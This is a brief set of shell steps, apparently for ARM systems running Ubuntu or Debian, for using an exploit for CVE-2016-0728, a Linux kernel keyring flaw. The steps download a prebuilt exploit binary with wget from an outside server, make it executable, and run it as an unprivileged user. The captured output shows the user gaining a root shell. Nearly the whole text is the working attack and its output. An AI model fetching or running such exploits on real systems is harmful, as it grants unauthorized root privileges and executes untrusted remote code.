Ubuntu / Debian:

# download exploit:
$ wget http://oph.mdrjr.net/meveric/other/security/cve_2016_0728/armhf/keyrings_facility_leak

# make exploit executable
$ chmod +x keyrings_facility_leak

# run exploit as NORMAL user (NOT root) -> at the end the whoami command returns as root -> unprivileged user got root permissions
./keyrings_facility_leak PP1
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=0, euid=0
#
# whoami
root
#